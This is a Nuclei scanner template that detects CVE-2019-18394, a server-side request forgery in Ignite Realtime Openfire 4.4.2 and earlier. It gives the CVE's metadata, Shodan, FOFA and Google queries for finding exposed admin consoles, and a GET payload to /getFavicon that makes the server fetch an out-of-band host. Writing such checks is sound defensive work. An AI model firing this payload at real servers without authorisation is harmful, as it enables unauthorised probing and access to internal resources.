id: CVE-2019-18394

info:
  name: Ignite Realtime Openfire <=4.4.2 - Server-Side Request Forgery
  author: pdteam
  severity: critical
  description: Ignite Realtime Openfire through version 4.4.2 allows attackers to send arbitrary HTTP GET requests in FaviconServlet.java, resulting in server-side request forgery.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests to internal resources, leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to the latest version of Ignite Realtime Openfire (>=4.4.3) to fix this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/openfire-admin-console/
    - https://github.com/igniterealtime/Openfire/pull/1497
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18394
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-18394
    cwe-id: CWE-918
    epss-score: 0.32304
    epss-percentile: 0.98101
    cpe: cpe:2.3:a:igniterealtime:openfire:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: igniterealtime
    product: openfire
    shodan-query:
      - http.title:"openfire admin console"
      - http.title:"openfire"
    fofa-query:
      - title="openfire"
      - title="openfire admin console"
    google-query:
      - intitle:"openfire"
      - intitle:"openfire admin console"
  tags: cve,cve2019,ssrf,openfire,oast,igniterealtime,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/getFavicon?host=oast.fun?"

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'Interactsh Server')"
          - "contains(content_type, 'image/x-icon')"
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022008dc8b6dcc030b2aeb7fc02af9469b60f1585c90765167db3ebd1aca80856d75022100a3d910f946347b18e74057201f8555bdc720ce148de3ff1a1ad471993ed2b7c6:922c64590222798bb761d5b6d8e72950